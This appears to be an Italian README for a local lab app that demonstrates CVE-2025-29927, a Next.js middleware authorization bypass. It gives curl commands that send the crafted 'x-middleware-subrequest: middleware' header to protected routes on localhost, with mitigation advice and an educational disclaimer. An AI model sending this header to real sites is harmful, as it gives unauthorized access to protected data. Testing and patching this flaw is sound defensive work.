
Testa e dimostra CVE-2025-29927, un bypass dell'autorizzazione del middleware di Next.js. Include script di test per lo sfruttamento e per l'accesso normale, oltre a indicazioni per la mitigazione.
Questa applicazione dimostra la vulnerabilità di bypass dell'autorizzazione del middleware Next.js (CVE-2025-29927).
CVE-2025-29927 è una vulnerabilità di bypass dell'autorizzazione nel middleware di Next.js. Inviando un'intestazione HTTP appositamente predisposta (x-middleware-subrequest), un attaccante può aggirare i controlli di autorizzazione implementati nel middleware, ottenendo potenzialmente accesso a risorse protette.
Installa le dipendenze:
cd /var/www/react-nextjs/test-middleware-skip
npm install
Avvia il server di sviluppo:
npm run dev
Il server si avvierà su http://localhost:3000
Prova ad accedere alla route protetta normalmente:
npm run test-normal
oppure
curl -v http://localhost:3000/protected-data
Dovresti ricevere una risposta 401 Unauthorized, poiché il middleware blocca l'accesso.
Prova ad accedere alla route protetta con l'intestazione exploit:
npm run test-exploit
oppure
curl -v -H "x-middleware-subrequest: middleware" http://localhost:3000/protected-data
Se l'applicazione è vulnerabile, riceverai una risposta 200 OK con i dati protetti.
Accesso normale (dovrebbe essere bloccato):
curl -v http://localhost:3000/api/protected
Con exploit:
curl -v -H "x-middleware-subrequest: middleware" http://localhost:3000/api/protected
Per correggere questa vulnerabilità, dovresti:
Aggiornare Next.js a una versione corretta:
Se non è possibile aggiornare, implementare un proxy inverso (come Nginx o Cloudflare) che rimuova l'intestazione x-middleware-subrequest dalle richieste in arrivo.
Test se la route API è vulnerabile:
# Normal request (should be blocked)
curl -v http://localhost:3000/api/protected
# With exploit header
curl -v -H "x-middleware-subrequest: middleware" http://localhost:3000/api/protected
Questo strumento è fornito solo a scopo educativo e di test di sicurezza. Utilizzalo per verificare se le tue applicazioni Next.js sono vulnerabili e necessitano di correzioni.